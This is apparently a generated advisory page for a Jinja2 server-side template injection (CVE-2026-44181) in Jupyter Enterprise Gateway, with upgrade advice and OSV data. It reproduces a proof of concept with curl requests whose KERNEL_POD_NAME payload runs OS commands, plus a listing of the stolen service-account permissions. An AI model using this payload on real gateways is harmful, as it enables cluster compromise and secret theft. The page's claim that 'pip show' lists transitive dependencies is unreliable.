CVE-2026-44181: Jupyter Enterprise Gateway Remote Code Execution Vulnerability

CRITICAL
Advisory Identifier: GHSA-f49j-v924-fx9w
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CWE-1336
Published
Advisory Summary

CVE-2026-44181 is a CRITICAL remote code execution vulnerability (CWE-1336: Improper Neutralization of Special Elements Used in a Template Engine) affecting Jupyter Enterprise Gateway libraries in the PyPI ecosystem. The issue involves jinja2 template server side template injection resulting in remote code execution. Remediation is available by upgrading affected packages to version 3.3.0.

CVE-2026-44181 at a Glance

CVE Identifier CVE-2026-44181
GHSA Identifier GHSA-f49j-v924-fx9w
Severity CRITICAL
CVSS v3.1 Base Score N/A
CWE Classification CWE-1336: Improper Neutralization of Special Elements Used in a Template Engine
Affected Product Jupyter Enterprise Gateway
Package Ecosystem PyPI
Published Date
Last Updated

How to Fix CVE-2026-44181

To remediate this vulnerability, upgrade all affected Jupyter Enterprise Gateway dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

jupyter_enterprise_gateway fixed: 3.3.0 
pip install jupyter_enterprise_gateway>=3.3.0
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release: 

pip show jupyter_enterprise_gateway

How to Check if You Are Affected

To determine whether your Python environment is affected by CVE-2026-44181, inspect your installed packages using pip:

pip show jupyter_enterprise_gateway

Analyze the terminal output to locate any version of Jupyter Enterprise Gateway in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 3.3.0), your application is affected.

Note: The pip show jupyter_enterprise_gateway command checks currently installed packages in your active Python environment.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-1336: Improper Neutralization of Special Elements Used in a Template Engine, where the product uses a template engine to insert or process externally-influenced input, but it does not neutralize or incorrectly neutralizes special elements or syntax that can be interpreted as template expressions or other code directives when processed by the engine. In Jupyter Enterprise Gateway, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary The environment variables (`KERNEL_XXX`) used during the rendering of the Kubernetes manifest are vulnerable to Server Side Template Injection (SSTI). By including Jinja2 template expressions it is possible to execution Python code and OS Commands in the Enterprise Gateway service. The code can use or steal the Kubernetes service account token, which can steal Kubernetes secrets and be used to fully compromise the Kubernetes cluster by scheduling a privileged pod or a pod with a `hostPath` volume mount. ### Details The `KERNEL_POD_NAME` variable is rendered using Jinja2, allowing for code execution via template expression statements, in this code: https://github.com/jupyter-server/enterprise_gateway/blob/152c20f162f2fab700c04c8830ebf8c1e2e2217a/enterprise_gateway/services/processproxies/k8s.py#L219-L247 The Jinja2 template for the Kubernetes manifest contains several `kernel_xxx` variables, in addition to `kernel_pod_name` discussed above, such as `kernel_working_dir` that are used when rendering the manifest and are all vectors for SSTI. https://github.com/jupyter-server/enterprise_gateway/blob/152c20f162f2fab700c04c8830ebf8c1e2e2217a/etc/kernel-launchers/kubernetes/scripts/kernel-pod.yaml.j2#L77 These values come from the environment passed in the API call, where they were `KERNEL_XXX` before being converted to lowercase. https://github.com/jupyter-server/enterprise_gateway/blob/152c20f162f2fab700c04c8830ebf8c1e2e2217a/etc/kernel-launchers/kubernetes/scripts/launch_kubernetes.py#L130-L137 ### PoC #### Simple demonstration of SSTI using `{{7 * 7}}` ```bash curl http://enterprise-gateway.bdawg.svc.cluster.local:8888/api/kernels --data '{"name":"python_kubernetes", "env": {"KERNEL_POD_NAME": "bdawg-{{7 * 7}}" }}' ``` ```json {"id": "1094076f-35c6-48a5-ae60-0c943bb97a9a", "name": "python_kubernetes", "last_activity": "2025-07-17T07:14:42.155736Z", "execution_state": "starting", "connections": 0} ``` Running `kubectl get pods` ``` NAME READY STATUS RESTARTS AGE bdawg-49 1/1 Running 0 3m54s ``` #### Remote code execution - OS Commands via SSTI ```bash curl http://enterprise-gateway.notebooks.svc.cluster.local:8888/api/kernels --data '{"name":"python_kubernetes", "env": {"KERNEL_POD_NAME": "bdawg-{{ cycler.__init__.__globals__.os.popen(\"hostname\").read() }}", "KERNEL_NAMESPACE": "notebooks" }}' ``` ```json {"id": "85ec9431-d005-48d5-8127-5f022f2c5780", "name": "python_kubernetes", "last_activity": "2025-07-17T07 ``` ``` NAME READY STATUS RESTARTS AGE bdawg-enterprise-gateway-8695685bc8-klm4m 1/1 Running 0 2m25s ``` `enterprise-gateway-8695685bc8-klm4m` is the hostname of the Enterprise Gateway pod. #### Enterprise Gateway RBAC The Enterprise Gateway service account has R/W access to several resource kinds. Stolen Enterprise Gateway service account `kubectl auth can-i --list` ``` Resources Non-Resource URLs Resource Names Verbs selfsubjectreviews.authentication.k8s.io [] [] [create] selfsubjectaccessreviews.authorization.k8s.io [] [] [create] selfsubjectrulesreviews.authorization.k8s.io [] [] [create] rolebindings.rbac.authorization.k8s.io [] [] [get list create delete] configmaps [] [] [get watch list create delete] namespaces [] [] [get watch list create delete] persistentvolumeclaims [] [] [get watch list create delete] persistentvolumes [] [] [get watch list create delete] pods [] [] [get watch list create delete] secrets [] [] [get watch list create delete] services [] [] [get watch list create delete] scheduledsparkapplications.sparkoperator.k8s.io/status [] [] [get watch list create delete] scheduledsparkapplications.sparkoperator.k8s.io [] [] [get watch list create delete] sparkapplications.sparkoperator.k8s.io/status [] [] [get watch list create delete] sparkapplications.sparkoperator.k8s.io [] [] [get watch list create delete] [/.well-known/openid-configuration/] [] [get] [/.well-known/openid-configuration] [] [get] [/api/*] [] [get] [/api] [] [get] [/apis/*] [] [get] [/apis] [] [get] [/healthz] [] [get] [/healthz] [] [get] [/livez] [] [get] [/livez] [] [get] [/openapi/*] [] [get] [/openapi] [] [get] [/openid/v1/jwks/] [] [get] [/openid/v1/jwks] [] [get] [/readyz] [] [get] [/readyz] [] [get] [/version/] [] [get] [/version/] [] [get] [/version] [] [get] [/version] [] [get] ``` ### Impact This is a server side template injection that leads to remote code execution (python and OS commands). An attacker can get remote code execution in the Enterprise Gateway pod and steal its Kubernetes service account's token. It can use the privileges to spy on and interfere with other Jupyter kernel, read, write, or delete configuration maps, read secrets, access persistent storage, privileged pods, or create pods with `hostPath` mounts, which can be used to compromise the complete cluster and all workloads on it.

CVE-2026-44181 Affected Jupyter Enterprise Gateway Versions

1 component(s)
Fixed Versions:
3.3.0
Product / Package Ecosystem Affected Versions Fixed Version
jupyter_enterprise_gateway
pypi/jupyter_enterprise_gateway
PyPI
≥ 2.0.0rc2
< 3.3.0
3.3.0

References

GitHub Advisory / Wiki ADVISORY
https://github.com/jupyter-server/enterprise_gateway/security/advisories/GHSA-f49j-v924-fx9w
Jupyter Enterprise Gateway Source Repository REPOSITORY
https://github.com/jupyter-server/enterprise_gateway

Frequently Asked Questions

What is CVE-2026-44181?
CVE-2026-44181 is a security vulnerability in Jupyter Enterprise Gateway involving Jinja2 Template Server Side Template Injection resulting in Remote Code Execution under CWE-1336: Improper Neutralization of Special Elements Used in a Template Engine.
Which Jupyter Enterprise Gateway versions are affected?
Affected versions include releases prior to 3.3.0 across affected packages: jupyter_enterprise_gateway.
What version fixes CVE-2026-44181?
Upgrading to 3.3.0 (or the latest patched release for your respective branch) resolves the vulnerability.
Is jupyter_enterprise_gateway affected?
Yes, jupyter_enterprise_gateway is affected in releases prior to 3.3.0. Upgrade your dependency to 3.3.0 or later.
What CWE is associated with CVE-2026-44181?
CVE-2026-44181 is classified under CWE-1336: Improper Neutralization of Special Elements Used in a Template Engine (The product uses a template engine to insert or process externally-influenced input, but it does not neutralize or incorrectly neutralizes special elements or syntax that can be interpreted as template expressions or other code directives when processed by the engine.).
How can I check PyPI dependencies for CVE-2026-44181?
Run the dependency tree command: 'pip show jupyter_enterprise_gateway'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
View Raw JSON 
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-f49j-v924-fx9w",
  "modified" : "2026-06-03T21:36:05Z",
  "published" : "2026-06-03T21:36:05Z",
  "aliases" : [ "CVE-2026-44181" ],
  "summary" : "Jupyter Enterprise Gateway: Jinja2 Template Server Side Template Injection resulting in Remote Code Execution",
  "details" : "### Summary\n\nThe environment variables (`KERNEL_XXX`) used during the rendering of the Kubernetes manifest are vulnerable to Server Side Template Injection (SSTI).\nBy including Jinja2 template expressions it is possible to execution Python code and OS Commands in the Enterprise Gateway service.\nThe code can use or steal the Kubernetes service account token, which can steal Kubernetes secrets and be used to fully compromise the Kubernetes cluster by scheduling a privileged pod or a pod with a `hostPath` volume mount.\n\n### Details\n\nThe `KERNEL_POD_NAME` variable is rendered using Jinja2, allowing for code execution via template expression statements, in this code:\nhttps://github.com/jupyter-server/enterprise_gateway/blob/152c20f162f2fab700c04c8830ebf8c1e2e2217a/enterprise_gateway/services/processproxies/k8s.py#L219-L247\n\nThe Jinja2 template for the Kubernetes manifest contains several `kernel_xxx` variables, in addition to `kernel_pod_name` discussed above, such as `kernel_working_dir` that are used when rendering the manifest and are all vectors for SSTI.\nhttps://github.com/jupyter-server/enterprise_gateway/blob/152c20f162f2fab700c04c8830ebf8c1e2e2217a/etc/kernel-launchers/kubernetes/scripts/kernel-pod.yaml.j2#L77\n\nThese values come from the environment passed in the API call, where they were `KERNEL_XXX` before being converted to lowercase.\n\nhttps://github.com/jupyter-server/enterprise_gateway/blob/152c20f162f2fab700c04c8830ebf8c1e2e2217a/etc/kernel-launchers/kubernetes/scripts/launch_kubernetes.py#L130-L137\n\n### PoC\n\n\n#### Simple demonstration of SSTI using `{{7 * 7}}`\n\n```bash\ncurl http://enterprise-gateway.bdawg.svc.cluster.local:8888/api/kernels --data '{\"name\":\"python_kubernetes\", \"env\": {\"KERNEL_POD_NAME\": \"bdawg-{{7 * 7}}\" }}'\n```\n\n```json\n{\"id\": \"1094076f-35c6-48a5-ae60-0c943bb97a9a\", \"name\": \"python_kubernetes\", \"last_activity\": \"2025-07-17T07:14:42.155736Z\", \"execution_state\": \"starting\", \"connections\": 0}\n```\n\nRunning `kubectl get pods`\n```\nNAME                                                 READY   STATUS    RESTARTS   AGE\nbdawg-49                                             1/1     Running   0          3m54s\n```\n\n#### Remote code execution - OS Commands via SSTI\n\n```bash\ncurl http://enterprise-gateway.notebooks.svc.cluster.local:8888/api/kernels --data '{\"name\":\"python_kubernetes\", \"env\": {\"KERNEL_POD_NAME\": \"bdawg-{{ cycler.__init__.__globals__.os.popen(\\\"hostname\\\").read() }}\", \"KERNEL_NAMESPACE\": \"notebooks\" }}'\n```\n\n```json\n{\"id\": \"85ec9431-d005-48d5-8127-5f022f2c5780\", \"name\": \"python_kubernetes\", \"last_activity\": \"2025-07-17T07\n```\n\n```\nNAME                                                 READY   STATUS    RESTARTS   AGE\nbdawg-enterprise-gateway-8695685bc8-klm4m            1/1     Running   0          2m25s\n```\n\n`enterprise-gateway-8695685bc8-klm4m` is the hostname of the Enterprise Gateway pod.\n\n\n#### Enterprise Gateway RBAC\nThe Enterprise Gateway service account has R/W access to several resource kinds.\n\nStolen Enterprise Gateway service account `kubectl auth can-i --list`\n\n```\nResources                                                Non-Resource URLs                      Resource Names   Verbs\nselfsubjectreviews.authentication.k8s.io                 []                                     []               [create]\nselfsubjectaccessreviews.authorization.k8s.io            []                                     []               [create]\nselfsubjectrulesreviews.authorization.k8s.io             []                                     []               [create]\nrolebindings.rbac.authorization.k8s.io                   []                                     []               [get list create delete]\nconfigmaps                                               []                                     []               [get watch list create delete]\nnamespaces                                               []                                     []               [get watch list create delete]\npersistentvolumeclaims                                   []                                     []               [get watch list create delete]\npersistentvolumes                                        []                                     []               [get watch list create delete]\npods                                                     []                                     []               [get watch list create delete]\nsecrets                                                  []                                     []               [get watch list create delete]\nservices                                                 []                                     []               [get watch list create delete]\nscheduledsparkapplications.sparkoperator.k8s.io/status   []                                     []               [get watch list create delete]\nscheduledsparkapplications.sparkoperator.k8s.io          []                                     []               [get watch list create delete]\nsparkapplications.sparkoperator.k8s.io/status            []                                     []               [get watch list create delete]\nsparkapplications.sparkoperator.k8s.io                   []                                     []               [get watch list create delete]\n                                                         [/.well-known/openid-configuration/]   []               [get]\n                                                         [/.well-known/openid-configuration]    []               [get]\n                                                         [/api/*]                               []               [get]\n                                                         [/api]                                 []               [get]\n                                                         [/apis/*]                              []               [get]\n                                                         [/apis]                                []               [get]\n                                                         [/healthz]                             []               [get]\n                                                         [/healthz]                             []               [get]\n                                                         [/livez]                               []               [get]\n                                                         [/livez]                               []               [get]\n                                                         [/openapi/*]                           []               [get]\n                                                         [/openapi]                             []               [get]\n                                                         [/openid/v1/jwks/]                     []               [get]\n                                                         [/openid/v1/jwks]                      []               [get]\n                                                         [/readyz]                              []               [get]\n                                                         [/readyz]                              []               [get]\n                                                         [/version/]                            []               [get]\n                                                         [/version/]                            []               [get]\n                                                         [/version]                             []               [get]\n                                                         [/version]                             []               [get]\n```\n\n### Impact\nThis is a server side template injection that leads to remote code execution (python and OS commands).\n\nAn attacker can get remote code execution in the Enterprise Gateway pod and steal its Kubernetes service account's token.\nIt can use the privileges to spy on and interfere with other Jupyter kernel, read, write, or delete configuration maps, read secrets, access persistent storage, privileged pods, or create pods with `hostPath` mounts, which can be used to compromise the complete cluster and all workloads on it.",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "jupyter_enterprise_gateway"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "2.0.0rc2"
      }, {
        "fixed" : "3.3.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/jupyter-server/enterprise_gateway/security/advisories/GHSA-f49j-v924-fx9w"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/jupyter-server/enterprise_gateway"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-1336" ],
    "severity" : "CRITICAL",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-06-03T21:36:05Z",
    "nvd_published_at" : null
  }
}